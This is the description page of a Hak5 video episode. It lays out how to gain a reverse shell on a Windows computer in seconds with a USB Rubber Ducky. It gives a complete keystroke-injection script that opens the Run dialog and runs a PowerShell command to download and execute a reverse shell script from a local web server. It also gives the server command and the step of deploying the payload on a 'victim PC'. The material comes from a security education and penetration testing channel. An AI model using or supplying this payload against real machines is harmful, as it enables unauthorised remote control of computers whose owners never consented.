How to Get a Reverse Shell in 3 Seconds with the USB Rubber Ducky - Hak5 2110

Hak5

How to Get a Reverse Shell in 3 Seconds with the USB Rubber Ducky - Hak5 2110

In this episode of Hak5, we're creating a reverse shell with the USB Rubber Ducky that exploits a target computer in less than 3 seconds!

In this episode of Hak5, we're creating a reverse shell with the USB Rubber Ducky that exploits a target computer in less than 3 seconds!
-------------------------------
Shop: hakshop.com
Support: patreon.com/threatwire
Subscribe: youtube.com/hak5
Our Site: hak5.org
Contact Us: twitter.com/hak5
------------------------------
Darren's Reverse Shell exploit will be available via Github: github.com/hak5darren

Save the reverse shell powershell script as r.ps1

#cat r.ps1

Spin up a web server to host it:

#php -S 0.0.0.0:80 -t ~

Write first stage ducky script to download and execute reverse shell

DELAY 1000
GUI r
DELAY 100
STRING powershell "IEX (New-Object Net.WebClient).DownloadString('192.168.133.1/r.ps1');"
ENTER

Encode ducky script as inject.bin

Deploy payload on victim PC